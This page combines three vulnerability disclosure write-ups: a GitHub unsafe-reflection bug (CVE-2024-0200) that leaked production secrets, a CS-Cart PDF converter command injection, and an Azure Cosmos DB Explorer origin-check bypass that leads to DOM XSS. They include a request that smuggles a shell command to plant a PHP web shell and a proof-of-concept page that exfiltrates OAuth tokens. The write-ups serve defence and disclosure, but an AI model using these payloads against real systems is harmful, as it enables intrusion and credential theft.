Earlier this year, in mid-January, you might have come across this security announcement by GitHub.

In this article, I will unveil the shocking story of how I discovered CVE-2024-0200, a deceptively simple, one-liner vulnerability which I initially assessed to likely be of low impact, and how I turned it into one of the most impactful bugs in GitHub’s bug bounty history.

Spoiler: The vulnerability enabled disclosure of all environment variables of a production container on GitHub.com, including numerous access keys and secrets. Additionally, this vulnerability can be further escalated to achieve remote code execution (RCE) on GitHub Enterprise Servers (GHES), but not on GitHub.com. More on this later.

Backstory

Back in early December 2023, I was performing some research on GHES. On the day before I went on vacation, I located a potential (but likely minor) bug. Fast-forward to the day after Christmas, I finally found some time to triage and analyse this potential vulnerability. At that point, I still had zero expectations of the potential bug to be this impactful… until an accident happened.

A Quick Primer on Ruby Reflections

Before I spill the tea, allow me to begin with a brief introduction to Ruby.

Similar to JavaScript, almost everything (e.g. booleans, strings, integers) is an Object in Ruby. The Object includes the Kernel module as a mixin, rendering methods in the Kernel module accessible by every Ruby object. Notably, it is possible to do reflection (i.e. indirect method invocation) by using Kernel#send() as such:

class HelloWorld
  def print(*args)
    puts("Hello " + args.join(' '))
  end
end

obj = HelloWorld.new()
obj.print('world') # => 'Hello World'
obj.send('print', 'world') # => 'Hello World'

As shown above, it is possible to dynamically invoke a method using Kernel#send() to perform reflection on any object. Naturally, this makes it an obvious code sink to search for, since having ability to invoke arbitrary methods on an object can be disastrous. For example, unsafe reflections with 2 controllable arguments can easily lead to arbitrary code execution:

user_input1 = 'eval'
user_input2 = 'arbitrary Ruby code here'

obj.send(user_input1, user_input2)
# is equivalent to:
obj.send('eval', 'arbitrary Ruby code here')
# which is equivalent to:
Kernel.eval('arbitrary Ruby code here')
# which has the same effect as:
eval('arbitrary Ruby code here')
# note: because everything is an object, including the current context

If you have more than 2 controllable arguments, then it is also trivial to achieve arbitrary code execution by calling send() repeatedly:

obj.send('send', 'send', 'send', 'send', 'eval', '1+1')
# will call: 
obj.send('send', 'send', 'send', 'eval', '1+1')
# ...
obj.send('eval', '1+1')
# to finally call:
eval('1+1')

You can read more about unsafe reflections in Phrack Issue 0x45 by @joernchen or this Ruby security discussion published on Seebug (in Chinese).

Interestingly enough, I did not come across any discussions on unsafe reflections with only 1 controllable argument in Kernel#send() as shown below:

user_input = 'method_name_here'
obj.send(user_input)

At first glance, it seems rather difficult to escalate impact at all in this scenario. From the list of default methods inherited from Object, I identified the following useful methods:

# Disclosing filepaths:
obj.send('__dir__') # leak resolved absolute path to directory containing current file
obj.send('caller')  # return execution call stack, and may leak filepaths

# Disclosing class name
obj.send('class')

# Disclosing method names
obj.send('__callee__')
obj.send('__method__')
obj.send('matching_methods')
obj.send('methods') # Object#methods() returns list of public and protected methods
obj.send('private_methods')
obj.send('protected_methods')
obj.send('public_methods')
obj.send('singleton_methods')

# Disclosing variable names
obj.send('instance_variables')
obj.send('global_variables')
obj.send('local_variables')

# Stringify variable
obj.send('inspect') # calls to_s recursively
obj.send('to_s')    # string representation of the object

# Read from standard input
obj.send('gets')
obj.send('readline')
obj.send('readlines')

# Terminates process (please exercise caution)
obj.send('abort')
obj.send('fail')
obj.send('exit')
obj.send('exit!')

These methods may come in handy when attempting to gather more information on the target, especially when performing blind, unsafe reflections.

However, in the case of GitHub, this won’t be necessary since we can audit the source code of GHES, which is largely identical to the one deployed on GitHub.com. Now, we are ready to move on to discuss the vulnerability.

Discovering the Vulnerability

Note: The source code presented below were extracted from GitHub Enterprise Server (GHES) 3.11.0 to pinpoint the root cause of the vulnerability.

Doing a quick search on the codebase, I found an unvalidated Kernel#send() call in Organizations::Settings::RepositoryItemsComponent found in app/components/organizations/settings/repository_items_component.rb:

...
class Organizations::Settings::RepositoryItemsComponent < ApplicationComponent
  def initialize(organization:, repositories:, selected_repositories:, current_page:, total_count:, data_url:, aria_id_prefix:, repository_identifier_key: :global_relay_id, form_id: nil)
    @organization = organization
    @repositories = repositories
    @selected_repositories = selected_repositories
    @show_next_page = current_page * Orgs::RepositoryItemsHelper::PER_PAGE < total_count
    @data_url = data_url
    @current_page = current_page
    @aria_id_prefix = aria_id_prefix
    @repository_identifier_key = repository_identifier_key # [2]
    @form_id = form_id
  end
  ...
  def identifier_for(repository)
    repository.send(@repository_identifier_key) # [1]
  end
  ...
end

At [1], repository.send(@repository_identifier_key) is invoked in the identifier_for() method without any prior input validation on @repository_identifier_key (set at [2]). This allows all methods accessible by the object (including private or protected methods, and any other methods inherited from ancestor classes) to be invoked.

The identifier_for() method of the Organizations::Settings::RepositoryItemsComponent class is used in app/components/organizations/settings/repository_items_component.html.erb (the template file to be rendered and returned within the HTTP response body) at [3]:

<%# erblint:counter ButtonComponentMigrationCounter 1 %>
<% @repositories.each do |repository| %>
  <li <% unless first_page? %> hidden <% end %> class="css-truncate d-flex flex-items-center width-full">
    <input
      <%= "form=#{@form_id}" if @form_id.present? %>
      type="checkbox" name="repository_ids[]"
      value="<%= identifier_for(repository) %>" # [3]
      id="<%= @aria_id_prefix %>-<%= repository.id %>"
...

Backtracing further, it can be seen that Organizations::Settings::RepositoryItemsComponent objects are initialised in app/controllers/orgs/actions_settings/repository_items_controller.rb:

class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
  ...

  def index
    ...
    respond_to do |format|
      format.html do
        render(Organizations::Settings::RepositoryItemsComponent.new(
          organization: current_organization,
          repositories: additional_repositories(selected_repository_ids),
          selected_repositories: [],
          current_page: page,
          total_count: current_organization.repositories.size,
          data_url: data_url,
          aria_id_prefix: aria_id_prefix,
          repository_identifier_key: repository_identifier_key, # [4]
          form_id: form_id
        ), layout: false)
      end
    end
  end

  ...

  def rid_key
    params[:rid_key] # [6]
  end

  ...

  def repository_identifier_key
    return :global_relay_id unless rid_key.present? # [5]
    rid_key
  end

  ...
end

At [4], the result of the repository_identifier_key() method is passed as the repository_identifier_key keyword argument when initialising the Organizations::Settings::RepositoryItemsComponent object. At [5], in repository_identifier_key(), observe that :global_relay_id is returned only when the return value of rid_key() is absent. Otherwise, the repository_identifier_key() method simply passes on the return value from rid_key()params[:rid_key] (at [6]).

Putting it all together, the unsafe reflection repository.send(@repository_identifier_key) allows for a “zero-argument arbitrary method invocation” on a Repository object.

In Search of Impact

This is exactly the same scenario I discussed earlier. Unfortunately, none of the options I shared earlier are applicable in this case – the information is likely available to us already, or they do not do anything useful for us at this point. So, how can we escalate the impact further?

It is crucial to recognise that we are not limited to methods inherited from Object – we can expand the search of candidate methods by looking at methods accessible by a Repository object.

Next, let’s refer back to the assumption of having a “zero-argument arbitrary method invocation”. What does that even mean? Can we only invoke methods accepting no arguments at all?

The answer is: No. Surprise!

Actually, this is a common misassumption with a pretty straightforward counter-example to disprove it (as shown below):

class Test
  # zero arguments required
  def zero_arg()
  end

  # 1 positional argument required
  def one_pos_arg(arg1)
  end

  # 2 positional arguments required, but second argument has default value
  def one_pos_arg_one_default_pos_arg(arg1, arg2 = 'default')
  end

  # 2 positionals argument required, but both arguments have default values
  def two_default_pos_args(arg1 = 'default', arg2 = 'default')
  end

  # 1 keyword argument (similar to positional argument) required (no default value)
  def one_keyword_arg(keyword_arg1:)
  end

  # 1 keyword argument (has default value) required
  def one_default_keyword_arg(keyword_arg1: 'default')
  end

  # 1 positional (no default value) & 1 keyword argument (has default value) required
  def one_pos_arg_one_default_keyword_arg(arg1, keyword_arg2: 'default') 
  end
end

obj = Test.new()
obj.send('zero_arg')                            # => OK
obj.send('one_pos_arg')                         # => in `one_pos_arg': wrong number of arguments (given 0, expected 1) (ArgumentError)
obj.send('one_pos_arg_one_default_pos_arg')     # => in `one_pos_arg_one_default_pos_arg': wrong number of arguments (given 0, expected 1..2) (ArgumentError)
obj.send('two_default_pos_args')                # => OK
obj.send('one_keyword_arg')                     # => in `one_keyword_arg`: missing keyword: :keyword_arg1 (ArgumentError)
obj.send('one_default_keyword_arg')             # => OK
obj.send('one_pos_arg_one_default_keyword_arg') # => in `one_pos_arg_one_default_keyword_arg': wrong number of arguments (given 0, expected 1) (ArgumentError)

Clearly, we are able to invoke methods requiring arguments just fine – so long as they have default values assigned to them!

With these two tricks in our bag, we are now ready to start searching for candidate methods… but how? We can simply grep until we find something useful, but this will be a tedious process. The main Docker image containing the Ruby on Rails application source code contains more than a whopping 100k files (~1.5 GB), so we clearly need a better strategy.

A simple solution to this complex task is just to drop into a Rails console in a test GHES setup, and use reflection to aid us in our quest:

repo = Repository.find(1) # get first repo
methods = [ # get names of all methods accessible by Repository object
  repo.public_methods(),
  repo.private_methods(),
  repo.protected_methods(),
].flatten()

methods.length() # => 5542

Yes, you read that correctly. I was quite shocked when I saw the output too.
Why on earth does the Repository object even have 5542 methods? Well, to be fair, most of it came from autogenerated code by Ruby on Rails, which leverages Ruby metaprogramming to define getters/setter methods on objects.

Let’s further reduce the search space by finding methods matching the criteria (i.e. no required positional or keyword arguments that do not have default values). This is because we need to prevent Ruby from throwing ArgumentError due to obvious mismatch of the number of required arguments. Going back to the previous example on the Test class, let’s examine the arity of the method:

class Test
  # zero arguments required
  def zero_arg()
  end

  # 1 positional argument required
  def one_pos_arg(arg1)
  end

  # 2 positional arguments required, but second argument has default value
  def one_pos_arg_one_default_pos_arg(arg1, arg2 = 'default')
  end

  # 2 positionals argument required, but both arguments have default values
  def two_default_pos_args(arg1 = 'default', arg2 = 'default')
  end

  # 1 keyword argument (similar to positional argument) required (no default value)
  def one_keyword_arg(keyword_arg1:)
  end

  # 1 keyword argument (has default value) required
  def one_default_keyword_arg(keyword_arg1: 'default')
  end

  # 1 positional (no default value) & 1 keyword argument (has default value) required
  def one_pos_arg_one_default_keyword_arg(arg1, keyword_arg2: 'default') 
  end
end

obj = Test.new()
obj.method('zero_arg').arity()                            # => 0
obj.method('one_pos_arg').arity()                         # => 1
obj.method('one_pos_arg_one_default_pos_arg').arity()     # => -2
obj.method('two_default_pos_args').arity()                # => -1
obj.method('one_keyword_arg').arity()                     # => 1
obj.method('one_default_keyword_arg').arity()             # => -1
obj.method('one_pos_arg_one_default_keyword_arg').arity() # => -2

It appears that only methods with arity of 0 or -1 can be used by us in this case.

Now, we can filter the list of candidate methods further:

repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
  repo.public_methods(),
  repo.private_methods(),
  repo.protected_methods(),
].flatten()

repo_methods.length()      # => 5542
candidate_methods = repo_methods.select() do |method_name|
  [0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # => 3595

I guess that is slightly better…? Metaprogramming can be a curse sometimes. :sweat_smile:

While I could further reduce the search space, I didn’t want to risk having missing out on any potentially useful functions. It is probably a good idea to scan through the output to get a better sensing of what methods are available first before further processing.

Let’s dump the location of where the methods are defined:

candidate_methods.map!() do |method_name|
  method = repo.method(method_name)
  [
    method_name,
    method.arity(),
    method.source_location()
  ]
end
puts(candidate_methods.sort())

The output is a long list of 3595 methods and their location:

[
  [:!, [0, nil]],
  [:Nn_, [-1, ["/github/vendor/gems/3.2.2/ruby/3.2.0/gems/fast_gettext-2.2.0/lib/fast_gettext/translation.rb", 65]]],
  [:_, [-1, ["/github/vendor/gems/3.2.2/ruby/3.2.0/gems/gettext_i18n_rails-1.8.1/lib/gettext_i18n_rails/html_safe_translations.rb", 10]]],
  [:__callbacks, [0, ["/github/vendor/gems/3.2.2/ruby/3.2.0/gems/activesupport-7.1.0.alpha.bb4dbd14f8/lib/active_support/callbacks.rb", 70]]],
  ...
  [:xcode_clone_url, [-1, ["/github/app/helpers/url_helper.rb", 218]]],
  [:xcode_project?, [0, ["/github/packages/repositories/app/models/repository/git_dependency.rb", 323]]],
  [:xcode_urls_enabled?, [0, ["/github/app/helpers/url_helper.rb", 213]]],
  [:yield_self, [0, ["<internal:kernel>", 144]]]
]

Triaging Candidate Methods

I started triaging the list of potentially useful methods, but as I was testing locally, I realised my test GHES installation wasn’t working correctly somehow and had to be re-installed. At this point, I noticed most of the methods would likely only affect my own organisation repositories, or allow me to leak some information like file paths on the server, which may come in handy in the future.

I didn’t really want to waste precious time doing nothing while waiting for the re-installation to complete, so I decided to test it on the production GitHub.com server in my own test organisation given the current potential impact achievable.

Nothing could possibly go wrong, right…? :see_no_evil:

Wrong. I was completely off the mark. The following response came back shortly after I began testing on the production GitHub.com server, leaving me completely speechless and stunned in disbelief: Environment leak on GitHub.com

That’s ~2MB worth of environment variables belonging to GitHub.com containing a massive list of access keys and secrets within the response body. How did these secrets end up here?!

Getting the Environment Variables

Let’s examine the Repository::GitDependency module (at packages/repositories/app/models/repository/git_dependency.rb) included by the Repository containing the dangerous method nw_fsck():

module Repository::GitDependency
  ...
  def nw_fsck(trust_synced: false)
    rpc.nw_fsck(trust_synced: trust_synced)
  end
  ...
end

Note: In Ruby, the last evaluated line of any method/block is the implicit return value.

This nw_fsck() method is extremely inconspicuous, but holds a wealth of information. To understand why, let’s examine the GitRPC backend implementation in vendor/gitrpc/lib/gitrpc/backend/nw.rb:

module GitRPC
  class Backend
    ...
    rpc_writer :nw_fsck, output_varies: true
    def nw_fsck(trust_synced: false)
      argv = []
      argv << "--connectivity-only"
      argv << "--trust-synced" if trust_synced
      spawn_git("nw-fsck", argv) # [7]
    end
    ...
  end
end

At [7], the return value of the nw_fsck() method is the git process created using the spawn_git() method. The spawn_git() method eventually calls and returns GitRPC::Native#spawn():

...
module GitRPC
  ...
  class Native
    ...
    def spawn(argv, input = nil, env = {}, options = {})
      ...
      {
        # Report unhandled signals as failure
        :ok        => !!process.status.success?,
        # Report the exit status as the signal number if we have it
        :status    => process.status.exitstatus || process.status.termsig,
        :signaled  => process.status.signaled?,
        :pid       => process.status.pid,
        :out       => process.out,
        :err       => process.err,
        :argv      => argv,
        :env       => env, # [8]
        :path      => @path,
        :options   => options,
        :truncated => truncated,
      }
    end
    ...
  end
end

Observe that the value returned by GitRPC::Native.spawn() is a Hash object containing the environment variables passed to the git process at [8]. Digging deeper, the list of environment variables passed to the git process created can be found in vendor/gitrpc/lib/gitrpc/backend.rb:

...
module GitRPC
  ...
  class Backend
    ...
    def self.environment
      @environment ||= ENV.to_h.freeze # [10]
    end
    ...
    def native
      @native ||= GitRPC::Native.new(path, native_env, native_options)
    end
    ...
    def native_env
      env = GitRPC::Backend.environment.dup # [9]
      env.merge!(options[:env] || {})
      env.merge!(GitRPC.extra_native_env || {})
      env["GITHUB_TELEMETRY_LOGS_NOOP"] = "true"
      env["GIT_DIR"] = path
      env["GIT_LITERAL_PATHSPECS"] = "1"
      env["GIT_SOCKSTAT_VAR_via"] = "gitrpc"
      if options[:info]
        git_sockstat_var_options.each do |(prefix, sym)|
          env["GIT_SOCKSTAT_VAR_#{sym}"] = "#{prefix}#{options[:info][sym]}" if options[:info][sym]
        end
      end
      if alternates = alternate_object_paths
        env["GIT_ALTERNATE_OBJECT_DIRECTORIES"] = alternates.join(":")
      end
      env
    end
    ...
  end
end

At [9], GitRPC::Backend#native_env() duplicates the environment variable Hash object returned by GitRPC::Backend::environment() at [10], which is basically a copy of all environment variables passed to Rails.

Since GitRPC::Native#spawn() returns the list of environment variables in a Hash, and Repository::GitDependency#nw_fsck() kindly returns the Hash to us, we are able to disclose all the environment variables passed to Rails!

The Actual Impact

I inadvertently gained access to a total of 1220 environment variables (~2MB) containing a lot production access keys. I immediately stopped my testing, reached out to folks at GitHub to alerting them of this incident and proceeded to submit a vulnerability report soon after.

Special thanks to Simon Gerst (@intrigus_) and Jorge Rosillo (@jorge_ctf) for their help in getting in contact with someone from the GitHub Security Incident Response Team (SIRT) team so that I could give them an early heads-up notice on this.

Getting Remote Code Execution (RCE)

The following day, I continued further research to see if it is possible to escalate the impact further and achieve remote code execution. Of course, not with the access keys! I didn’t want to mess with the production GitHub.com environment further, so I continued my research using my new test GHES setup.

I quickly noticed that the list of environment variables included ENTERPRISE_SESSION_SECRET, which is used for signing marshalled data stored in session cookies:

As previously demonstrated in @iblue’s remote code execution in GitHub Enterprise management console, having knowledge of ENTERPRISE_SESSION_SECRET value allows an attacker to sign arbitrary serialised data.

Ruby on Rails implements session storage using a cryptographically signed serialized Ruby Hash. This Hash is serialized into a cookie using Marshal.dump and subsequently deserialized using Marshal.load. If an attacker can construct a valid signature, they can create a session cookie that contains arbitrary input passed to Marshal.load. As noted by the Ruby documentation for Marshal.load, this can result in code execution:

By design, ::load can deserialize almost any class loaded into the Ruby process. In many cases this can lead to remote code execution if the Marshal data is loaded from an untrusted source.

As a result, ::load is not suitable as a general purpose serialization format and you should never unmarshal user supplied input or other untrusted data.

This is a clear path to obtaining RCE, but there are still a few more hurdles to resolve (which I will discuss another time). However, this environment variable is not set on GitHub.com, so there’s no quick and easy way to get remote code execution on GitHub.com except to use the access keys (but don’t do this, please!).

To reiterate, this vulnerability can be chained to achieve RCE on GHES, but GitHub.com is not affected.

Exploit Conditions

This vulnerability affects GitHub.com and any GitHub Enterprise Server with GitHub Actions enabled. An attacker also needs to have the organisation owner role.

Suggested Mitigations

  1. Validate the rid_key parameter in the Orgs::ActionsSettings::RepositoryItemsController class against an allowlist to ensure that only intended methods of the Repository class can be invoked.
  2. Revoke and regenerate all secrets used in GitHub.com / any GitHub Enterprise Server that may have been compromised.
  3. Consider spawning git processes with a minimal set of environment variables required for functioning instead. Currently, a total of 1220 environment variables is being passed to the git process on GitHub.com.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /orgainzations/<organisation_name>/settings/actions/repository_items with an abnormal rid_key parameter value set. However, it is worthwhile to note that Rails accepts rid_key parameter supplied within the request body as well.

Timeline

  • 26 December, 2023 – Reported to GitHub
  • 26 December, 2023 – GitHub – Acknowledged receipt of report
  • 26 December, 2023 – Hotfixed on Github.com production servers
  • 28 December, 2023 – Sent RCE report to GitHub
  • 16 January, 2024 – GitHub – Released announcement for incident & GHES patches
  • 06 May, 2024 – Coordinated disclosure

Closing Thoughts

Regrettably, this vulnerability was discovered and exploited at a really inopportune time (day after Christmas). I want to express my sincere apologies and gratitude to all Hubbers involved and working during the Christmas/New Year festive period, since the amount of work created for the Hubbers as a consequence of this bug report must have been insanely huge. It is, however, incredibly impressive to see them get this vulnerability patched quickly, rotate all secrets (an awfully painful process), as well as running and concluding a full investigation to confirm that this vulnerability had not been exploited in-the-wild previously.

I hope you have enjoyed reading the whole process on how I managed to exploit this inconspicuous, unsafe reflection bug with limited control and turning it one of the most impactful bugs on GitHub. Thanks for reading!

A nearly seven-years-old command injection vulnerability exists in CS-Cart’s HTML to PDF converter allowing unauthenticated attackers to achieve remote command execution (RCE). The vulnerability only affects the HTML to PDF converter service and the default hosted service at converter.cart-services.com (maintained by CS-Cart’s development team) used by the PDF converter plugin, and does not allow for RCE against base installations of CS-Cart.

Product Background

In CS-Cart v4.13.2, the HTML to PDF converter is an optional plugin (disabled by default) for printing PDF documents in CS-Cart. However, the plugin is built-in and enabled by default in CS-Cart v4.13.1 or below.

Note that the affected product refers to the external service used for converting HTML to PDF, which can be self-hosted.

Confirmed Vulnerable Version

All versions of the CS-Cart HTML to PDF converter service cscart/pdf up to and including commit 0e8c5bb are vulnerable.

Security Impact

An unauthenticated attacker is able to obtain remote code execution via the PDF converter service.

Proposed CVSS3.1 Rating

Base Score: 9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Root Cause Analysis:

The request body is JSON-decoded as an associative object in /index.php:

...
$r = new Router(APP_WEB);

$r->post('/pdf/render', function() {
    $request = json_decode(file_get_contents('php://input'), true);
    return Converter::convert($request);
})->accept(Response::pdf());
...

The vulnerability can be found in the Converter::convert($params) function declared in /app/Pdfc/Converter.php:

<?php

namespace Pdfc;

class Converter
{
    ...
    static public function convert($params)
    {
        ...
        if (!empty($params['content'])) {

            $transaction_id = '';
            if (!empty($params['transaction_id'])) {
                $transaction_id = $params['transaction_id']; // [1]
            } else {
                $transaction_id = md5(uniqid('', true));
            }

            $html_file = APP_DIR . '/files/' . $transaction_id . '.html'; // [2]
            $pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';   // [3]
            @file_put_contents($html_file, $params['content']);           // [4]

            $cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . $html_file . ' ' . $pdf_file; // [5]
            exec($cmd); // [6]

            $contents = @file_get_contents($pdf_file);
            unlink($html_file);
            unlink($pdf_file);
        }

        return $contents;
    }
    ...
}

At [1], $params['transaction_id'] is a user input obtained from the request body’s JSON object.
At [2] and [3], the file paths to the respective HTML and PDF files are constructed using the user input at [1]. However, since the user input is not validated and sanitised, $transaction_id may contain arbitrary characters.
At [4], file write beyond in the intended /files/ directory is possible with a path traversal payload (i.e. using ../ in $transaction_id). While this is irrelevant to the command injection vulnerability, it is worth noting and fixing.
At [5], a shell command is constructed using the $html_file and $pdf_file from [2] and [3] respectively without properly escaping the arguments containing untrusted user input. Subsequently, the command is executed within a shell at [6], thereby allowing for remote command execution.

The following endpoints may be exploited to invoke the vulnerable Converter::convert() function with user-controlled values:

  1. /pdf/render (POST)
  2. /pdf/batch/add (POST) in conjunction with /pdf/batch/render/* (GET/POST)

Reproduction Steps:

  • Set up the HTML to PDF converter infrastructure in a Docker environment as per the instructions listed at https://github.com/cscart/pdf-infrastructure.
  • Issue the following HTTP request to exploit the command injection vulnerability to append PHP code to the router file at /index.php:
    POST /pdf/render HTTP/1.1
    Host: localhost
    Content-Type: application/json
    Accept: */*
    Content-Length: 180
      
    {"content":" ","transaction_id":"; echo '$r->get(\"/rce\", function() { return shell_exec($_GET[\"cmd\"]); })->accept(Response::status());' >> /var/www/html/genworker/index.php #"}
    
  • Navigate to http://localhost:80/index.php?cmd=id, and observe that the output of the id command is returned:
    uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),2(daemon),4(adm)
    

Recommendations:

Ensure that user input is validated and sanitised before using them to construct shell commands. In this particular case, a simple fix will be to escape each command argument accordingly:

...
$html_file = APP_DIR . '/files/' . $transaction_id . '.html';
$pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';
@file_put_contents($html_file, $params['content']);

$cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . escapeshellarg($html_file) . ' ' . escapeshellarg($pdf_file);
exec($cmd);
...

While the above code snippet fixes the command injection vulnerability, do note that appropriate validation checks still needs to be implemented prevent path traversal attacks via $transaction_id.

The vendor discovered the vulnerability internally as well. Their response upon receiving the report is as follows:

We highly appreciate your efforts applied on finding this vulnerability and clearly see your professional approach.

Fortunately, we learned about this issue not long ago, as a result of our internal audit, and have already completely changed all the logic used by this service so that it can no longer be affected by this vulnerability:

https://github.com/cscart/pdf-infrastructure/commit/0b4b11cf254d8556fbd13d442ba9ea8e8dc3db64 https://github.com/cscart/pdf/commit/b49d68eeb35b08ed08f90eaea04eca7ef397bc97

So now this vulnerability no longer applicable and cannot affect the service.

Note: While the hosted service provided by vendor has been fixed, users that are self-hosting the HTML to PDF converter service will need to update and patch accordingly.

Disclosure Timeline

  • 9 February, 2023 - Initial report to vendor
  • 13 February, 2023 - Vendor acknowledged but it was fixed a few days before report was sent
  • 03 February, 2023 - Public disclosure

While performing research work on a completely unrelated target, I chanced upon the repository for Microsoft Azure’s Cosmos DB Explorer. With some time to spare, I decided to do a quick audit of the codebase. Skimming through the codebase, a silly, but rather common, bug caught my attention – forgetting to escape dots in regular expressions when checking if a message sender’s origin is to be trusted.

As the Azure Cosmos DB Explorer incorrectly accepts and processs cross-origin messages from certain domains, a remote attacker can take over a victim Azure user’s account by delivering a DOM-based XSS payload via a cross-origin message.

Root Cause Analysis

The root cause analysis is performed using the latest changeset (d1587ef) of the Azure/cosmos-explorer repository at the point of discovering the vulnerability.

Incorrect Origin Check

The relevant vulnerable code from /src/ConfigContext.ts is shown below:

let configContext: Readonly<ConfigContext> = {
  platform: Platform.Portal,
  allowedParentFrameOrigins: [
    `^https:\\/\\/cosmos\\.azure\\.(com|cn|us)$`,
    `^https:\\/\\/[\\.\\w]*portal\\.azure\\.(com|cn|us)$`,
    `^https:\\/\\/[\\.\\w]*portal\\.microsoftazure.de$`,
    `^https:\\/\\/[\\.\\w]*ext\\.azure\\.(com|cn|us)$`,
    `^https:\\/\\/[\\.\\w]*\\.ext\\.microsoftazure\\.de$`,
    `^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$`, //vulnerable
  ],
  ...
}

Note that configContext.allowedParentFrameOrigins is used in /src/Utils/MessageValidation.ts, where the origin check is performed:

export function isInvalidParentFrameOrigin(event: MessageEvent): boolean {
  return !isValidOrigin(configContext.allowedParentFrameOrigins, event);
}

function isValidOrigin(allowedOrigins: string[], event: MessageEvent): boolean {
  const eventOrigin = (event && event.origin) || "";
  const windowOrigin = (window && window.origin) || "";
  if (eventOrigin === windowOrigin) {
    return true;
  }

  for (const origin of allowedOrigins) {
    const result = new RegExp(origin).test(eventOrigin);
    if (result) {
      return true;
    }
  }
  console.error(`Invalid parent frame origin detected: ${eventOrigin}`);
  return false;
}

Observe that the last regular expression (^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$) is incorrect, as metacharacters (e.g. in regular expressions, the character . matches any character) are not properly escaped.

This means that the following domains are also incorrectly treated as trusted sources of cross-origin messages:

  • https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de
  • https://cosmos-db-dataexplorer-germanycentralBazurewebsites.de
  • https://cosmos-db-dataexplorer-germanycentralYazurewebsites.de
  • https://cosmos-db-dataexplorer-germanycentralZazurewebsites.de

As such, an attacker can purchase any of the above domains to send cross-origin messages to cosmos.azure.com, which will be accepted and processed.

DOM-based XSS

The relevant vulnerable code from /src/Controls/Heatmap/Heatmap.ts is shown below:

export function handleMessage(event: MessageEvent) {
  if (isInvalidParentFrameOrigin(event)) {
    return;
  }

  if (typeof event.data !== "object" || event.data["signature"] !== "pcIframe") {
    return;
  }
  if (
    typeof event.data.data !== "object" ||
    !("chartData" in event.data.data) ||
    !("chartSettings" in event.data.data)
  ) {
    return;
  }
  Plotly.purge(Heatmap.elementId);

  document.getElementById(Heatmap.elementId)!.innerHTML = "";
  const data = event.data.data;
  const chartData: DataPayload = data.chartData;
  const chartSettings: HeatmapCaptions = data.chartSettings;
  const chartTheme: PortalTheme = data.theme;
  if (Object.keys(chartData).length) {
    new Heatmap(chartData, chartSettings, chartTheme).drawHeatmap();
  } else {
    const chartTitleElement = document.createElement("div");
    chartTitleElement.innerHTML = data.chartSettings.chartTitle;  // XSS
    chartTitleElement.classList.add("chartTitle");

    const noDataMessageElement = document.createElement("div");
    noDataMessageElement.classList.add("noDataMessage");
    const noDataMessageContent = document.createElement("div");
    noDataMessageContent.innerHTML = data.errorMessage;           // XSS

    noDataMessageElement.appendChild(noDataMessageContent);

    if (isDarkTheme(chartTheme)) {
      chartTitleElement.classList.add("dark-theme");
      noDataMessageElement.classList.add("dark-theme");
      noDataMessageContent.classList.add("dark-theme");
    }

    document.getElementById(Heatmap.elementId)!.appendChild(chartTitleElement);
    document.getElementById(Heatmap.elementId)!.appendChild(noDataMessageElement);
  }
}

window.addEventListener("message", handleMessage, false);

Observe that event.data.chartSettings.chartTitle and event.data.errorMessage can result in DOM-based XSS. In this case, an attacker who satisfies the origin check can send cross-origin messages to perform DOM-based XSS on cosmos.azure.com.

Examining the Content-Security-Policy header, it can be confirmed that inline scripts are permitted.

content-security-policy: frame-ancestors 'self' portal.azure.com *.portal.azure.com portal.azure.us portal.azure.cn portal.microsoftazure.de df.onecloud.azure-test.net

When the vulnerabilities are chained together, an attacker can trigger a DOM-based XSS on cosmos.azure.com to exfiltrate Azure user’s OAuth tokens.

Proof-of-Concept

This proof-of-concept assumes the use of the domain cosmos-db-dataexplorer-germanycentralAazurewebsites.de. However, note that any other domain which satisfies the origin check would work as well.

Set-Up

Option 1: Purchase the domain cosmos-db-dataexplorer-germanycentralAazurewebsites.de and host the following malicious webpage:

<html>
  <head>
    <title>1-click XSS on cosmos.azure.com</title>
    <script>
      var w;
      var attacker_origin = 'https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de/';
      function xss() {
        w = window.open('https://cosmos.azure.com/heatmap.html')
        setTimeout(function() {
          w.postMessage({signature:'pcIframe', data:{chartData:{}, chartSettings:{chartTitle:`<img src onerror="
            localStorageJSON = JSON.stringify(Object.assign({}, localStorage));
            window.opener.postMessage({exfil: localStorageJSON}, '${attacker_origin}');
            alert('XSS on ' + document.domain);
          ">`}}}, 'https://cosmos.azure.com');
        }, 2000);
      }
      
      window.onmessage = function(event) {
        if (event.origin === 'https://cosmos.azure.com') {
          document.getElementById("exfil").innerText = event.data.exfil;
        }
      }
    </script>
  </head>
  <body>
    <h1>1-click XSS on cosmos.azure.com</h1>
    <button onclick="xss()">1-click XSS</button>
    <br /><br />
    Exfiltrated OAuth tokens:<br />
    <textarea id="exfil" rows="45" cols="100" spellcheck="false"></textarea>
  </body>
</html>

Option 2: Instead of purchasing the domain, execute the following commands to do DNS rebinding and start a HTTPS webserver using self-signed TLS certificate locally. Note that it is also necessary to import the self-signed Root CA certificate (provided as root_ca.crt) to the web browser.

$ echo '127.0.0.1 cosmos-db-dataexplorer-germanycentralAazurewebsites.de' | sudo tee /etc/hosts
$ unzip poc.zip -d ./poc/ && cd ./poc/;
$ sudo python3 serve.py

Note: poc.zip is omitted for brevity.

Victim

  1. Navigate to https://cosmos.azure.com/ and log in to an Azure account.
  2. Navigate to https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de hosting the malicious webpage and then click the 1-click XSS button.
  3. Observe that the OAuth tokens stored in localStorage are being displayed in an alert window: XSS on cosmos.azure.com

Recommendations

To eliminate the vulnerability, ensure that the regular expression metacharacters are properly escaped.

For example:

`^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$`

Should be properly escaped to:

`^https:\\/\\/cosmos-db-dataexplorer-germanycentral\\.azurewebsites\\.de$`

